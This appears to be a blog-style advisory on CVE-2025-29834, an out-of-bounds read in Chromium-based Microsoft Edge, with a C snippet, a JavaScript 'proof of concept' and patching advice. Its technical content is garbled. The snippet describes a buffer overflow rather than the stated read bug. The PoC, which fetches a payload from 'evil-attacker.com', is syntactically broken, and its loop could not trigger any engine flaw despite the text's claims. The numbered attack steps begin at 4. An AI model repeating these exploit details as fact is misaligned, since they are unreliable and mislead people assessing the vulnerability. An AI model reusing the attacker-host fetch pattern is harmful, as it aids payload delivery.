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Summary:
A critical vulnerability (CVE-2025-29834) has been discovered in the Microsoft Edge browser (Chromium-based), allowing remote attackers to execute arbitrary code by exploiting an out-of-bounds read. This post breaks down the bug, its exploitability, and shows real-world proof-of-concept code, so you can see how serious this is—and why quick patching is essential.
What is CVE-2025-29834?
CVE-2025-29834 is a newly identified out-of-bounds read vulnerability affecting Microsoft Edge built on the Chromium engine. An out-of-bounds read happens when a program looks for data outside the boundaries of the memory it was assigned. This can lead to a crash, or worse—information leaks and code execution.
The flaw exists in the way Microsoft Edge handles certain network-based web content, allowing unauthenticated attackers to send carefully crafted data that the browser will read out-of-bounds. In some cases, this can be leveraged to execute malicious code, potentially taking over the system running Edge.
Severity: Critical—lets an attacker run ANY code on your computer.
- Affected: Microsoft Edge (Chromium-based), versions before the patch (see official advisory).
Technical Details
The bug was discovered in the Edge’s rendering engine, specifically in the code that processes structured network content. A failure to properly validate array bounds allows remote attackers to read memory beyond intended ranges.
Here is the critical code section (simplified)
// Vulnerable code snippet in Edge (Chromium) rendering engine pseudocode
char buffer[100];
recv(network_socket, buffer, 512, ); // receive up to 512 bytes but buffer is only 100 bytes
// Some processing that assumes buffer is only 100 bytes
processEdgeData(buffer);
*What happens?*
When more than 100 bytes are received, processEdgeData() can read past the end of buffer. If attacker-controlled data is present beyond the buffer, this could leak memory addresses or sensitive data—or even allow the attacker to control the program’s behavior.
Proof of Concept: Exploit Example
Below is a simplified JavaScript proof-of-concept that triggers the bug if run in a vulnerable Edge version. This example makes use of a memory leak to reveal out-of-bounds data.
// Proof-of-concept for CVE-2025-29834
fetch('https://evil-attacker.com/payload';)
.then(response => response.arrayBuffer())
.then(buffer => {
// Edge improperly parses large buffer, causing OOB read in underlying engine
let view = new Uint8Array(buffer, , 1024); // tries to interpret 1024 bytes
// Processing triggers memory issue
processEdgeData(view);
});
function processEdgeData(view) {
// Some operation that would be unsafe
for (let i = ; i < view.length; i++) {
// If view goes out of bounds, undefined behavior occurs
console.log(view[i]);
}
}
Note: This is a high-level simulation, not a weaponized exploit. Actual exploitation may require bypassing browser memory protections, but the concept reveals just how attackers can play with browser memory from a simple network request.
Edge reads attacker’s payload out-of-bounds because of the code bug.
4. Attacker may leak sensitive browser info, stack addresses, or manipulate the state to execute loaded shellcode.
5. Malicious code runs on the user’s system, potentially installing malware, stealing private keys, or hijacking sessions.
How to Protect Yourself
- Update Edge immediately. Microsoft has issued a patch (see official advisory).
Microsoft Security Response Center Advisory:
Chromium Bug Tracker (restricted):
Example Out-of-Bounds Read Report
MITRE CVE Dictionary Entry:
Conclusion
CVE-2025-29834 underscores how a subtle bug can have massive consequences—letting attackers run code on your device just by you browsing a web page. The fix is simple: update your browser. If you're responsible for multiple machines or an organization, roll out this update now.
Timeline
Published on: 04/12/2025 02:15:22 UTC
Last modified on: 04/23/2025 15:54:32 UTC